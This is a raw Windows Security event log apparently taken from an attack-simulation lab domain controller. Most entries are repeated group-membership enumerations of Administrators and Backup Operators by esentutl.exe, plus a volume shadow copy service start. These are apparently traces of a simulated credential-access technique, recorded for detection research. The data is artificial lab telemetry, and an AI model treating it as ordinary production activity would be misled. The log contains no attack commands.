-RecordNumber=257923 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257922 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257921 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257920 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257919 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257918 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257917 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa10 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k swprv - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258044 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258043 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258042 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258041 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258040 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258039 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258038 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258037 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258036 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258035 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258034 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258033 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258032 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258031 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258030 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258029 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258028 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258027 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258026 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258025 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258024 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258023 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258022 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258021 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258020 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258019 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258018 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258017 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258016 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258015 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258014 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258013 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258012 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258011 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258010 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258009 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258008 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security 